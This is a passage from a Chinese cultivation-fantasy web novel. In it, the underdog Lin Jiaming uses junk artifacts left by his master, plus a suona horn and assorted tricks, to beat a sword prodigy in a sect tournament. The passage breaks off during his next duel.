炼器天才赵乾,子母连环刃…… 百草峰试药任务…… 还有墙角那个神秘的破丹炉。 一条条线索在脑海里交织。 修为要提升,资源要搞,对手要应付,秘密要探索。 “真是充实啊。”他伸了个懒腰,眼底却毫无倦意,反而燃起跃跃欲试的光。 阴人,也要有阴人的实力和底气。而在拥有绝对实力之前,用尽一切手段,把水搅浑,把局做乱,在夹缝中捞取最大的好处,才是他林家铭的生存之道。 三天后的小比第三轮? 他很期待。 不知道神工峰的师兄,抗不抗得住他新研发的“混沌加强版·噪音污染套餐”?如果再加上点从百草峰“试药”得来的“灵感”…… 那画面,想想就有趣。 5. 师父的“遗产”与小比的“惊喜” 废矿洞事件像投入池塘的石子,涟漪虽未扩散到整个青岚宗,但在天枢峰和底层弟子的小圈子里,却悄悄传开了。王钊被同门抬回去时那凄惨模样,让不少原本想找揽月峰麻烦的人心里打了个突。那林家铭,似乎不止是会吹唢呐和撒灰那么简单。 这些风声,林家铭一概不理。他正面临一个更现实的问题:穷,且“垃圾”快吃完了。 药材残渣麻袋已经见底,辟谷丹也只剩下几颗。修为卡在炼气二层到三层的门槛上,混沌气旋凝实了不少,但突破的那层窗户纸始终捅不破。自创的“混沌大杂烩修炼法”效率终究太低。 “得想办法搞点‘高级营养’。”林家铭坐在小院里,对着空麻袋和仅剩的几块下品灵石发愁。去坊市再买残渣?杯水车薪。接任务?耗费时间,且低阶任务报酬也少。难道真要去“借”?目标倒是有了——王钊那伙人吃了亏,暂时应该不敢明着来,但暗地里克扣外门弟子资源的事情他们没少干,油水肯定有。只是刚闹过一场,再去“借”,容易惹来不必要的关注。 就在他盘算着是去后山碰运气挖点野生药材(大概率也是残次品),还是去任务堂看看有没有来钱快(通常意味着坑也多)的任务时,一道传音符晃晃悠悠飞进了小院,在他面前“噗”地燃尽,凌霄真君那懒洋洋又欠揍的声音响起: “徒儿啊,来后山寒潭,为师给你留了点‘小玩意儿’,自己搬。哦,对了,搬的时候小心点,别把自己炸了。” 林家铭精神一振!师父的“小玩意儿”?以师父那深不可测又极不靠谱的风格,这“小玩意儿”恐怕不简单! 他立刻起身,直奔后山寒潭。那地方他知道,在揽月峰后山深处,寒气逼人,潭水冰冷刺骨,寻常弟子根本不愿靠近。 到了寒潭边,果然没见到师父人影。只有潭边一块平滑的巨石上,随意丢着几个东西。 一个脏兮兮的、看不出原来颜色的皮质袋子,鼓鼓囊囊。 一个锈迹斑斑、还缺了个角的青铜小鼎。 一把断了半截、木柄都快朽烂的蒲扇。 还有一块灰扑扑的、巴掌大的石板,上面似乎刻着些模糊的纹路。 就这?林家铭凑近看了看,没感觉到什么惊人的灵气波动。他先拿起那个皮袋子,入手沉重。打开袋口往里一瞧,眼睛瞬间直了。 袋子里装的,全是各种矿石边角料、炼废的法器碎片、焦黑的不知名金属块、颜色诡异浑浊的晶体碎渣……种类繁多,无一例外,全都灵气稀薄且驳杂不堪,甚至很多散发着微弱的、令人不适的怪异气息。有些碎片上还残留着焦痕或冰霜,显然是炼制过程中发生“意外”的产物。 但这些东西里蕴含的“能量”总量,比起那些药材残渣,简直是天上地下!虽然更混乱,更难以利用,甚至可能带有属性冲突的“毒性”。 “这是……师父他老人家扫荡了各峰的垃圾堆吗?”林家铭心里嘀咕,却乐开了花。对别人是剧毒垃圾,对他可是大补!这袋子“垃圾”的品级和能量浓度,远胜坊市那些残渣。 他放下袋子,又去看其他几样。青铜小鼎沉甸甸的,鼎身刻着模糊的云纹和兽头,但破损严重,鼎腹还有一道裂纹。他尝试注入一丝混沌灵力,小鼎毫无反应。蒲扇更不用说,一扇子下去,连风都带不起几缕。 最后是那块石板。入手冰凉,表面纹路歪歪扭扭,像是小孩子的涂鸦,又像某种极其古老原始的符文。他用灵力探查,石板内部结构似乎很致密,灵力难以深入,也没有任何反馈。 “师父这留的都是什么破烂……”林家铭嘴上吐槽,手上却毫不客气,把几样东西全塞进了自己的储物袋(空间顿时拥挤起来)。不管有用没用,先拿了再说,师父给的东西,再破烂也得收着,这是原则——万一里面藏着宝呢? 搬着沉甸甸的收获回到小院,林家铭迫不及待地开始研究。 首先是那袋“高级垃圾”。他小心翼翼取出一块焦黑的、夹杂着金属和晶体碎片的废渣,握在掌心,运转混沌灵力尝试吸收。 “轰——!” 一股远比药材残渣狂暴、混乱十倍的驳杂能量猛地冲入经脉!其中混杂着爆裂的火毒、锋锐的金煞、沉重的土浊、冰寒的水阴……各种冲突属性的残力在他经脉里横冲直撞,剧痛瞬间袭来,让他闷哼一声,额头渗出冷汗。 “够劲!”林家铭咬牙,强忍着剧痛,全力引导混沌灵力包裹、炼化这些外来能量。混沌灵力如同磨盘,缓慢却坚定地将这些冲突的能量碾碎、混合、吸收。过程痛苦而缓慢,效率甚至比吸收残渣时还低,但每炼化一丝,融入混沌气旋的能量都精纯凝练许多。 两个时辰后,他才勉强将这一小块废渣的能量吸收完毕,体内混沌气旋壮大了一丝,经脉却隐隐作痛,需要时间恢复。 “不能多吃,会撑爆。”林家铭心有余悸,但也兴奋。这东西虽然“难消化”,但“营养”足!只要控制好量和频率,绝对是提升修为的“猛药”。他将这袋“高级垃圾”珍而重之地收好,列为战略储备资源。 接着研究青铜小鼎和破蒲扇。无论他用什么属性的混沌灵力试探,两件东西都毫无反应,仿佛真的只是凡铁破木。但他总觉得,师父特意留下,不会是无用之物。也许……是需要特殊条件激活?或者,它们的作用本就不在“灵力”上? 暂时放下,他又拿起那块石板。纹路太模糊,看了半天也看不出名堂。他用手指沿着纹路描绘,用灵力刺激,甚至滴了滴血上去(小说里都这么写),石板依旧毫无变化。 “算了,先当砖头用。”林家铭把石板也收起来,这东西够硬,关键时刻拍人后脑勺说不定有奇效。 有了“高级垃圾”打底,林家铭底气足了不少。他调整了修炼计划:白天用少量“高级垃圾”配合剩余药材残渣进行“猛火”修炼,晚上则用混沌灵力温养经脉,巩固成果,同时继续钻研短刃、唢呐和各种阴人小玩意。 短刃在持续温养下,那丝混沌微光出现得越来越频繁,虽然依旧不稳定,但林家铭能感觉到,它的锋锐度和对灵力的穿透性在缓慢提升。他给短刃起了个名:“晦芒”。 唢呐的“破魂”音波也练得更纯熟,消耗降低,瞬间爆发力增强。他还尝试将一丝模拟“迷幻”、“恐惧”意念的混沌灵力融入音波,吹奏特定的诡异曲调,效果……有待实战检验。 各种绊索、陷阱、袖箭机括也升级换代,材料用了点“高级垃圾”里比较坚韧的边角料,威力隐蔽性都提高了一截。 几天后,小比第三轮名单公布。 林家铭的名字再次出现。 乙字一号台,第一场。对手:天枢峰,沈剑。 消息一出,关注小比的人顿时兴奋起来。 沈剑!天枢峰这一代炼气期弟子中的佼佼者,剑道天赋出众,据说已得某位金丹长老青眼,修为已达炼气四层巅峰,一手“秋水剑法”凌厉迅捷,是本次小比夺冠热门之一。 而他的对手,是那个靠着唢呐、灰粉和阴险手段闯过两轮、修为疑似只有炼气二层的揽月峰林家铭! 这对比,太悬殊了!一个是光芒万丈的剑道天才,一个是路子野到下作的“阴险之徒”。几乎所有人都认为,这将是林家铭小比之旅的终点。沈剑可不是孙虎那种空有蛮力的体修,也不是王钊那种仗势欺人的货色,他的剑,快、准、狠,最克制各种歪门邪道。 “沈师兄,狠狠教训那个无耻之徒!” “让他知道什么叫真正的剑修!” “为孙虎师兄和王钊师兄出气!” 天枢峰弟子群情激奋。其他峰的弟子也多抱着看热闹的心态,想看看林家铭这次还能玩出什么花样,以及……会输得多惨。 周圆三人得知后,忧心忡忡。他们见识过林家铭的狠辣,但也清楚沈剑的厉害。 “林师兄,要不……咱们战略性放弃?”钱富贵小声建议,“沈剑不好惹,输给他不丢人。” “放弃?”林家铭正在院子里,用新得的、一块带着锐利金气的“高级垃圾”碎块打磨“晦芒”短刃的刃口,闻言头也不抬,“为什么要放弃?好不容易抽到个像样的对手,正好试试新东西。” “新东西?”周圆好奇。 林家铭笑了笑,没解释。他放下短刃,从储物袋里拿出了那柄破蒲扇和那块石板。 “你们说,这两样东西,像什么?” 周圆三人看着破蒲扇和灰石板,一脸茫然。 “像……垃圾?”赵铁柱老实回答。 “没错,就是垃圾。”林家铭点头,“所以,就算带上台,也没人会在意,对吧?” 周圆三人似懂非懂。 --- 小比第三轮当日,乙字一号台被围得水泄不通。所有人都想亲眼看看,沈剑如何以雷霆之势,终结那个揽月峰弟子的“闹剧”。 沈剑早已抱剑立于台上,身姿挺拔如松,面色冷峻,眼神锐利如剑。他今日特意换了一身崭新的天枢峰内门弟子服,纤尘不染,与他对面慢吞吞走上台、依旧穿着半旧弟子服、腰间挂着唢呐、怀里好像还揣着什么东西鼓鼓囊囊的林家铭,形成鲜明对比。 裁判长老看了看双方,尤其多看了林家铭一眼——这小子前两场的表现实在令人印象深刻。 “准备——开始!” 话音落下,沈剑动了! 没有废话,没有试探。“锵!”长剑出鞘,声如龙吟,剑身流转着清澈如秋水般的寒光,带着一股一往无前的锋锐剑意,直刺林家铭咽喉!剑速之快,只在空中留下一道淡蓝色的残影! “好快!”台下惊呼。 面对这迅若闪电的一剑,林家铭似乎来不及反应,只是下意识地抬起左手——手里握着的,是那把破蒲扇,挡在身前。 “用破扇子挡沈师兄的剑?他疯了?”众人愕然。 沈剑眼中闪过一丝轻蔑,剑势不变,决心一剑连扇带人一并刺穿! “噗!” 一声轻微的、像是刺穿败革的声音。 长剑刺中了蒲扇扇面。然而,预料中扇面破碎、长剑长驱直入的画面并未出现。 那破旧的、看起来一捅就破的蒲扇扇面,在接触剑尖的瞬间,竟然微微凹陷了一下,随即一股极其微弱、但韧性奇佳的反震之力传来,同时,剑尖附着的凌厉剑气,仿佛泥牛入海,被扇面悄无声息地吸收了一小部分! 虽然这点吸收和反震对沈剑的剑势影响微乎其微,长剑依旧向前刺去,但就是这微乎其微的一顿和剑气损耗,让林家铭抓住了机会! 他身体借着那一点点反震之力,如同柳絮般向后飘退半步,同时右手在腰间一抹,“晦芒”短刃出鞘,不是格挡,而是贴着刺来的长剑剑身,向沈剑持剑的手腕抹去!角度刁钻,时机精准! 沈剑冷哼一声,手腕一翻,长剑变刺为削,轻易荡开短刃,剑光如水银泻地,瞬间笼罩林家铭周身! 林家铭步法再展,在密集的剑光中穿梭闪避,手中破蒲扇不时挥舞,或是拍向剑脊侧面,或是挡在身前。每一次碰撞,那破蒲扇都展现出惊人的“吸力”和“韧性”,总能吸收掉剑气最锋锐的那一点,或者将剑势带偏一丝,虽然无法完全抵挡,却总能给林家铭争取到一丝闪避的空间。 而林家铭的反击也极其阴险。“晦芒”短刃专攻沈剑招式转换间的细微破绽,或者双腿、腰眼等非致命但影响行动之处。偶尔还会洒出一点“加强混沌灰”,干扰视线和灵力。 一时间,擂台上剑光缭绕,人影翻飞。沈剑的剑法确实高超,攻势如潮,将林家铭完全压制,但林家铭就像狂风巨浪中的一块滑不留手的顽石,总能以毫厘之差避开致命攻击,并用各种下作手段让沈剑的攻势无法达到最佳效果。台下观众看得目瞪口呆。他们预想中沈剑摧枯拉朽的胜利并没有出现。那林家铭,竟然靠着那把破扇子和诡异的身法,在沈剑的剑下支撑了这么久?虽然狼狈,但确实还没败! “那破扇子……有古怪!”有人看出端倪。 “好像能吸收剑气?” “怎么可能?那就是把烂扇子!” “可沈师兄的剑每次碰到扇子,都会顿一下……” 沈剑越打眉头皱得越紧。他也感觉到了那破扇子的诡异,自己的剑气仿佛被什么东西吞噬了一部分,而且扇子本身的材质极其坚韧,以他下品法器长剑的锋利,竟然无法轻易划破。更让他心烦的是林家铭那些层出不穷的阴招,灰粉、袖箭(虽然被他轻易挡开)、还有那把短刃上附着的古怪灵力,竟然能微微侵蚀他的护体剑光。 “不能拖了!”沈剑眼中厉色一闪,体内灵力狂涌,剑势陡然一变! “秋水长天!” 剑光暴涨,如同决堤洪水,浩浩荡荡,充斥着整个擂台前方,封锁了林家铭所有闪避空间!这一剑,威力远胜之前,是“秋水剑法”中的杀招之一! 避无可避! 林家铭眼神一凝,似乎被这磅礴剑势所慑,脚下步伐出现了一丝慌乱。 沈剑心中冷笑,剑光更盛,直取林家铭胸膛! 就在剑光即将临体的刹那,林家铭忽然做了一个让所有人匪夷所思的动作。 他丢掉了右手的“晦芒”短刃,然后,从怀里掏出了那块灰扑扑的石板,双手抓住,像举盾牌一样,猛地挡在身前!同时,身体蜷缩,将大半个人藏在石板后面。 “用石板挡剑气?”台下众人简直要疯了,这林家铭是黔驴技穷,开始乱来了吗? 沈剑也是微微一怔,但剑势已出,毫不留情地斩在了石板上! “铛——!!!!!” 一声洪钟大吕般的巨响,震得整个擂台都仿佛颤了颤!声音完全不像金属交击,反而像是巨锤敲在了某种极其坚硬厚重的金属块上! 预想中石板碎裂、林家铭被剑气撕碎的场面没有出现。 那看似普通的灰石板,在承受了沈剑全力一击的“秋水长天”后,表面那模糊的纹路骤然亮起一丝极其黯淡、几乎难以察觉的灰光!一股难以形容的沉重、坚固、反弹的意念顺着剑身传来! 沈剑只觉得长剑斩中的不是石板,而是一座厚重无比的山岩!不仅无法寸进,一股沛然莫御的反震之力顺着剑身倒卷而回,震得他手臂发麻,虎口剧痛,胸口更是气血翻腾,剑势瞬间溃散!连退三步才稳住身形,脸上满是惊骇! 而林家铭,虽然也被巨大的冲击力震得向后滑出丈余,嘴角溢出一丝鲜血,但双手依旧紧紧抓着石板,那石板……完好无损!连道白痕都没有! 全场死寂! 所有人,包括高台上的长老,都瞪大眼睛,难以置信地看着林家铭手中那块灰扑扑的“板砖”。 那是什么东西?!硬抗炼气四层巅峰剑修全力一击而丝毫无损?!就算是中品防御法器,也不可能如此轻描淡写吧? 沈剑看着自己微微颤抖的手,又看看那毫发无损的石板,脸色第一次变得无比凝重,甚至有一丝骇然。这绝不是普通的石头! 就在他心神震动、旧力已尽新力未生的瞬间—— 林家铭动了! 他猛地将石板往地上一顿,发出“咚”的一声闷响,仿佛擂鼓。同时,一直挂在腰间的唢呐不知何时已到了嘴边。 这一次,他没有吹奏那种魔性刺耳的调子。 他吹出的,是一段极其低沉、缓慢、诡异的旋律,如同地府幽冥传来的挽歌,又像无数细碎的低语在耳边呢喃。混沌灵力被高度凝聚,模拟出“迷幻”、“恐惧”、“灵魂震颤”的意念,随着音波无声无息地扩散开来! 这音波不像“破魂唢”那样具有强大的物理冲击力,却直接作用于心神! 沈剑刚遭受反震,气血未平,心神本就有一丝空隙,这诡异的唢呐声钻入耳中,眼前景象顿时一阵模糊,仿佛有无数灰影在晃动,心底没来由地升起一股寒意和烦躁 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沈剑颈侧麻痹,行动受影响,剑法难免出现细微变形。林家铭的步法却越发诡谲,贴着沈剑游走,短刃专攻他因麻痹而反应稍慢的右侧,灰粉不时干扰。破蒲扇虽然丢了,但石板还立在原地,像个嘲讽的墓碑。 沈剑越打越憋屈,越打越心惊。他空有更强的修为和更精妙的剑法,却被对方层出不穷的阴损手段和那两件诡异“垃圾”弄得束手束脚,一身实力发挥不出七成。颈侧的麻痹感在加剧,灵力运转也开始受到影响。 “不能再这样下去!”沈剑眼中闪过决绝,竟不顾林家铭刺向肋下的短刃,拼着受伤,也要施展最强一剑,彻底击溃对方! 然而,就在他蓄力的瞬间,林家铭仿佛预判到了他的想法,猛地向后一跃,拉开距离,同时伸手入怀,又掏出了一样东西。 不是武器,也不是法器。 是一个小小的、粗糙的皮囊,鼓鼓囊囊。 林家铭对着沈剑,咧嘴一笑,那笑容在沈剑眼中显得无比可恶。然后,他用力将皮囊朝沈剑脚前的地面砸去! “啪!” 皮囊碎裂! 一大团浓烈刺鼻、颜色黄绿、令人作呕的烟雾猛地爆开,瞬间将沈剑笼罩其中! “咳咳!什么……呕!”沈剑猝不及防,吸入了两口烟雾,顿时觉得头晕目眩,胃里翻江倒海,眼泪鼻涕不受控制地流了出来,视线一片模糊!这烟雾不仅刺鼻,似乎还夹杂着微弱的迷幻和催吐成分! 这是他利用几种药性冲突、气味极其难闻的“高级垃圾”边角料,混合了一些刺激性草药,临时搓出来的“臭云弹”!本想着关键时刻扰乱对手,没想到效果这么好! 趁你病,要你命! 烟雾中,林家铭屏住呼吸,如同鬼魅般再次突进!手中“晦芒”短刃带着一丝狠绝的混沌微光,直刺沈剑因为剧烈咳嗽而门户大开的胸膛! 这一下若是刺实,虽不致命,也足以让沈剑重伤失去战斗力! 沈剑在烟雾中目不能视,口鼻难受,心神大乱,感应到危机袭来,只能凭着本能挥剑格挡。 “铛!” 短刃与长剑再次相撞。 但这一次,沈剑因为状态奇差,格挡的力量不足。“晦芒”短刃上的混沌微光一闪,竟然滑开了长剑的格挡,虽然轨迹偏斜,依旧狠狠地扎进了沈剑的左肩! “噗!” 鲜血迸溅! “啊!”沈剑痛呼一声,长剑几乎脱手,连连后退,撞破了恶臭的烟雾,露出身形。只见他左肩插着那把不起眼的短刃,鲜血染红了半边衣衫,脸色因为中毒、麻痹、恶臭和疼痛而变得惨白又扭曲,狼狈不堪,哪还有半点之前冷峻天才的模样? 林家铭站在几步外,没有追击,只是平静地看着他。他自己嘴角也带着血,身上有好几处被剑气划破的伤口,但眼神依旧冷静。 裁判长老已经看傻了,这场比试的走向已经完全超出了他的预料。 台下更是鸦雀无声。所有人都被这逆转再逆转、手段下作到令人发指、结局却又如此匪夷所思的战斗惊呆了。 沈剑……天枢峰的剑道天才沈剑……竟然被一个炼气二层(?)的揽月峰弟子,用破扇子、板砖、唢呐、毒针、臭烟和一把破短刃,给……捅伤了?还弄得如此狼狈? 这世界怎么了? 沈剑死死盯着林家铭,眼神充满了愤怒、屈辱、不甘,还有一丝他自己都不愿承认的……惊悸。他输了吗?严格来说,他还没认输,还能打。但左肩重伤,毒素和麻痹在蔓延,恶臭让他灵力紊乱……再打下去,只会更难看。 “我……”沈剑张了张嘴,想认输,那两个字却堵在喉咙里,耻辱感几乎将他淹没。 就在这时,高台上一声威严的冷哼传来,一道强大的灵压掠过,让所有人心中一凛。一位天枢峰的长老站了起来,脸色铁青。 “够了!”他沉声道,目光如电射向林家铭,“揽月峰弟子,比试切磋,何故用此等下作手段,伤人躯体,污人耳目?” 压力如山般压向林家铭。 林家铭深吸口气,压下翻腾的气血,对着那位长老躬身一礼,语气不卑不亢:“长老明鉴,弟子所用,皆在规则允许之内。沈师兄修为高深,剑法通玄,弟子若不竭尽全力,巧妙周旋,早已落败。至于手段……家师曾言,修仙之路,各凭本事,能胜便是道理。若论‘下作’,生死搏杀之际,敌人可会与弟子讲究手段是否光明?” 他顿了顿,抬起头,脸上又露出那副诚恳又无辜的表情:“况且,弟子修为低微,资源匮乏,只有这些‘破烂’傍身。若长老认为不妥,不如赐下几件光明正大的法宝给弟子,下次比试,弟子定当遵从天枢峰教诲,堂堂正正一战。” 这话一出,那天枢峰长老脸色更黑。赐你法宝?想得美!而且这话里话外,分明是在说天枢峰仗势欺人,指责他偏袒。 台下传来一些压抑的低笑和议论。不少非天枢峰的弟子,其实看沈剑吃瘪看得暗爽,林家铭这番话更是说到了某些底层弟子的心坎里。 裁判长老见状,连忙打圆场,高声宣布:“乙字一号台,第一场,揽月峰林家铭,胜!” “哗——!” 台下终于爆发出巨大的声浪!震惊、哗然、议论、哄笑……交织在一起。 沈剑猛地闭上眼,身体晃了晃,被赶来的天枢峰弟子扶住,拔下肩头短刃,匆匆抬走疗伤。他自始至终,没再看林家铭一眼,但那背影,充满了挫败和阴郁。 林家铭默默走下台,捡回自己的破蒲扇和石板(石板依旧冰凉坚硬,毫发无损),拍了拍上面的灰。周圆三人挤过人群冲过来,脸上又是激动又是担忧。 “林师兄!你太牛了!连沈剑都……”周圆兴奋得语无伦次。 “师兄,你伤得重不重?”钱富贵比较细心。 林家铭摆摆手,抹去嘴角血迹:“没事,皮外伤。”他看了一眼天枢峰弟子离去的方向,眼神微冷。 今天这梁子,算是结大了。不过,那又如何? 他掂了掂手里的石板和破扇子,又摸了摸怀里仅剩的一个“臭云弹”。 师父留下的“破烂”,果然是好东西。虽然不知道它们到底是什么,但能用就行。 他看向高台远处,云海之中若隐若现的揽月峰主殿。 “师父啊师父,您老人家到底还藏了多少‘垃圾’在角落里?”他低声自语,嘴角却慢慢勾起一个弧度。 下一轮,四强战。 对手会是谁呢? 不管是谁,他得赶紧回去,把今天消耗的“混沌灰”和“臭云弹”补上,顺便……看看那袋“高级垃圾”里,还有什么能开发的新花样。 这修仙界,果然还是“垃圾”更有趣。 6. 四强战与“意外”收获 第六章四强战与“意外”收获 林家铭战胜沈剑的消息,如同投入滚油的火星,在青岚宗低阶弟子中炸开了锅。如果说前两场胜利还有“取巧”、“对手大意”的成分,那么这一场,可是实打实地将内门炼气期的顶尖天才之一拉下了马,用的还是那些匪夷所思、让人哭笑不得又心底发寒的手段。 “破扇子”、“板砖”、“臭气弹”、“毒针”……这些词汇迅速取代了“唢呐”和“灰粉”,成为林家铭新的标签。有人骂他无耻下作,胜之不武;有人觉得他机智百出,以弱胜强;更多的底层弟子则在暗中叫好,仿佛林家铭的胜利,也给他们出了一口平日被天才和关系户压抑的恶气。 当然,天枢峰上下自然是怒不可遏。沈剑虽无性命之忧,但左肩伤口被那古怪的混沌灵力侵蚀,恢复起来颇费周折,更重要的是道心受挫,据说回去后就闭了死关。天枢峰几位长老虽未明着找林家铭麻烦(毕竟小比规则摆在那里,林家铭确实没违规),但看揽月峰的眼神愈发不善。王钊之流更是恨得牙痒痒,却又被林家铭在废矿洞的狠辣手段吓住,暂时只敢在背后咒骂。 对于这些风风雨雨,林家铭一概不理。他把自己关在小院里,一边养伤(主要是被沈剑剑气震出的内腑轻伤和皮外伤),一边盘点此战得失,补充消耗。 “破蒲扇”和“灰石板”被他郑重地放在床头,每天用混沌灵力温养一会儿。这两件“垃圾”在这次战斗中居功至伟。破蒲扇对剑气(尤其是锐金之气)有奇特的吸收和缓冲效果,材质坚韧得出奇。灰石板更是硬得离谱,防御力惊人,还能反弹部分冲击。师父留下的,果然没有凡品,虽然依旧搞不清来历和原理。 “晦芒”短刃在刺伤沈剑后,刃口那丝混沌微光似乎稳定了一些,对灵力(尤其是护体灵光)的穿透侵蚀性也有所增强。这验证了他持续温养的有效性。 “臭云弹”效果拔群,但材料难寻,用一点少一点。“加强混沌灰”和麻痹毒针也需要补充。 最重要的是修为。与沈剑一战,让他深刻体会到灵力总量和质量的差距。若非靠各种手段干扰消耗,硬碰硬他撑不过十招。突破炼气三层,迫在眉睫。 他再次将目光投向了师父给的那袋“高级垃圾”。这几天他忍着经脉胀痛,又炼化了几小块,修为稳步向炼气三层逼近,但越靠近瓶颈,所需能量越大,痛苦也越甚。 “得想办法加快速度,或者……找点‘助力’。”林家铭摸着下巴,目光扫过简陋的小院。灵石是硬通货,但他现在一块多余的都没有。难道真要去“借”?目标嘛……他想起沈剑战败时,天枢峰弟子群情激愤中,有几个眼神格外怨毒、衣着也相对光鲜的家伙,看起来像是有点家底的。 “不急,等小比结束再说。”他按捺下心思。四强战在即,不能节外生枝。 两日后,四强名单和抽签结果公布。 四强分别是: 天枢峰,楚云(炼气五层,剑修,沈剑师兄,本次小比头号热门) 玉衡峰,苏月(炼气四层巅峰,法修,擅长冰系法术) 开阳峰,雷猛(炼气四层,体修,力量与防御惊人,据说修炼了某种雷属性炼体术) 揽月峰,林家铭(炼气二层巅峰?手段诡异,名声“显赫”) 林家铭的签运“不错”,抽到了楚云。另一半区是苏月对雷猛。 消息传出,众人反应不一。大多数人认为,林家铭的好运到头了。楚云可不是沈剑,修为更高,经验更老辣,心性也更沉稳,绝不会再给林家铭那些阴损手段发挥的空间。 “楚云师兄定会为沈师弟讨回公道!” “这次看那林家铭还怎么蹦跶!” “楚师兄的‘流云剑法’已得三分真意,岂是歪门邪道能抵挡?” 就连周圆三人,这次也乐观不起来了。楚云的名声和实力,是实实在在打出来的,公认的本次小比最强。 “林师兄,楚云……真的很强。”周圆苦着脸,“要不咱们……” “要不什么?弃权?”林家铭正在用一块带着微弱雷火气息的“高级垃圾”碎渣擦拭“晦芒”短刃,闻言头也不抬,“打都没打,怎么知道不行?况且,”他笑了笑,“打楚云这种高手,输了不丢人,赢了血赚。怕什么?” 他语气轻松,但周圆三人却从他眼中看到了一丝前所未有的认真和……兴奋?那是一种面对真正挑战时的跃跃欲试。 四强战当日,主擂台被围得水泄不通,甚至不少内门执事、乃至一些闲来无事的长老都前来观战。大家都想看看,这匹最大的黑马,能否继续创造奇迹,亦或是被真正的高手碾碎。 楚云早已立于台上。他约莫十八九岁年纪,面容普通,但气质沉稳,眼神平静无波,仿佛台下喧嚣与他无关。他穿着普通的天枢峰内门服饰,背负一把古朴长剑,剑未出鞘,已有隐隐锋芒透出。他就那么站着,却给人一种山岳般不可撼动的感觉。 相比之下,缓步登台的林家铭,就显得“寒酸”多了。旧弟子服,腰间挂唢呐,怀里鼓鼓囊囊(不知道又塞了什么),手里还拎着那块灰扑扑的石板。唯一的变化是,他今天的神色很平静,没有了之前的懒散或戏谑,眼神清澈,直视着楚云。 裁判长老看了看两人,尤其多看了林家铭手中的石板一眼——这东西现在可是“名声在外”。 “四强战第一场,天枢峰楚云,对揽月峰林家铭。开始!” 楚云没有立刻出手。他看向林家铭,开口了,声音平缓:“林师弟,你前几场比试,我看了。” 林家铭微微挑眉,没接话。 “手段虽奇,终非正道。”楚云继续道,语气没有鄙夷,更像陈述事实,“修为是根本。今日,我会让你明白,在绝对的实力差距面前,一切机巧,皆如镜花水月。” 说完,他缓缓拔剑。剑身清亮如秋水,出鞘无声,但一股凝练如实质的剑意瞬间笼罩整个擂台,空气都仿佛变得粘稠沉重起来! 炼气五层的灵压,加上初步领悟的剑意,给林家铭带来了前所未有的压力。他感觉呼吸都困难了几分,手中石板似乎也沉重了一些。 “请楚师兄指教。”林家铭深吸口气,压下心头悸动,左手持石板护在身前,右手暗扣“晦芒”短刃,混沌灵力在体内悄然加速运转。 楚云动了。 没有沈剑那种迅若雷霆的爆发,他的动作看起来甚至有些慢。只是向前踏出一步,手中长剑随意一划。 一道凝练如丝、近乎透明的剑气,悄无声息地撕裂空气,瞬间便到了林家铭身前!速度快得超越了之前沈剑的剑光,更可怕的是其中蕴含的锋锐剑意和凝实灵力,远非沈剑可比! 林家铭瞳孔骤缩!根本来不及用石板格挡!他几乎是凭借战斗本能,将混沌灵力瞬间灌注双腿,施展步法向侧后方急闪! “嗤啦!” 剑气擦着他左臂掠过,将他衣袖割开一道整齐的口子,皮肤上留下一条细长的血痕,火辣辣地疼!仅仅是擦过,就有如此威力! 没等他站稳,楚云第二剑又至!依旧是看似随意的一划,剑气却从另一个刁钻角度袭来,封死了他闪避的空间! 林家铭只能举起石板硬挡! “铛!” 剑气斩在石板上,发出比之前更沉闷的巨响!石板纹路灰光微闪,稳稳挡住。但那股强大的冲击力,却震得林家铭手臂发麻,气血翻腾,整个人向后滑出数尺! 楚云眼神毫无波动,脚下步伐看似不快,却如行云流水般瞬间拉近距离,第三剑、第四剑接连斩出!剑气纵横交错,如同编织成一张大网,将林家铭困在中央! 每一剑都凝练无比,速度、角度、力量都无可挑剔!林家铭的步法在这样密集且精准的剑气封锁下,效果大打折扣,只能依靠石板左支右挡,狼狈不堪。那破蒲扇在楚云这种层次、蕴含剑意的剑气面前,吸收效果大打折扣,且楚云剑势连绵,根本不给他喘息之机。 “差距太大了……”台下有人叹息。 “楚云师兄根本没出全力,只是在试探。” “林家铭那石板再硬,又能挡多久?灵力消耗跟得上吗?” 果然,仅仅十几息功夫,林家铭就被完全压制,身上又添了几道伤口,虽然不深,但鲜血淋漓,看起来颇为凄惨。他的反击——无论是短刃突刺,还是偶尔洒出的“混沌灰”,在楚云那密不透风的剑网和强大的护体剑罡面前,都显得苍白无力,根本无法近身。 楚云似乎觉得试探够了。他剑势陡然一变,从绵密转为磅礴! “流云叠浪!” 长剑挥洒,剑光如潮,一浪高过一浪,层层叠叠向林家铭涌去!每一道剑光都厚重凝实,带着沛然莫御的力量,仿佛要将林家铭连人带石板一同拍碎! 林家铭脸色剧变,将混沌灵力疯狂注入石板,双手死死抵住! “轰轰轰!” 剑浪连续撞击在石板上,发出震耳欲聋的轰鸣!石板灰光急促闪烁,依旧□□,但林家铭却如同暴风雨中的小舟,被巨大的力量震得连连后退,每退一步都在擂台坚硬的青石地面上留下一个浅浅的脚印,虎口崩裂,鲜血染红了石板边缘,嘴角更是不断溢出鲜血,内腑已然受创! 眼看就要被逼到擂台边缘! 楚云眼中精光一闪,最后一剑,汇聚了前面所有剑浪的余势,化作一道凝练到极致、几乎化为实质的白色剑罡,直刺林家铭胸口!这一剑,速度不快,却蕴含着恐怖的穿透力和毁灭性!他要彻底击溃对手! 避无可避!挡?石板或许能挡住剑罡,但那恐怖的冲击力绝对会将重伤的林家铭直接震下擂台,甚至可能震碎心脉! 台下众人屏住呼吸,周圆三人更是惊恐地闭上了眼睛。 就在这千钧一发之际! 一直处于被动挨打、看似已到绝境的林家铭,眼中却陡然爆发出惊人的光芒! 他一直隐藏的、在体内悄然运转、模拟着“柔韧”、“卸力”、“旋转”意念的混沌灵力,在这一瞬间,连同他最后的气力,全部注入到双手和手中的——石板! 他没有硬挡,也没有试图躲避。 而是双手握住石板两侧,身体顺着剑罡刺来的方向,做了一个极其古怪的、类似于“引”和“转”的动作! 同时,口中用尽最后力气,发出一声短促尖锐的唢呐音——“破魂唢”的变调,不是为了攻击,而是为了干扰楚云刹那的心神,扰乱他对剑罡的精准控制! 楚云果然被这突如其来的音波干扰,剑罡出现了一丝极其细微的、几乎不可察的紊乱。 就是这一丝紊乱! 林家铭手中的石板,以一种巧妙的倾斜角度,“贴”上了那道凝练的白色剑罡! “滋——!” 刺耳的声音响起,不像碰撞,更像摩擦。 在所有人难以置信的目光中,那道足以开碑裂石的恐怖剑罡,竟然被那灰扑扑的石板带着,顺着林家铭身体旋转的方向,偏转了一个微小的角度! 原本直刺胸口的致命一剑,变成了擦着林家铭的肋侧掠过! 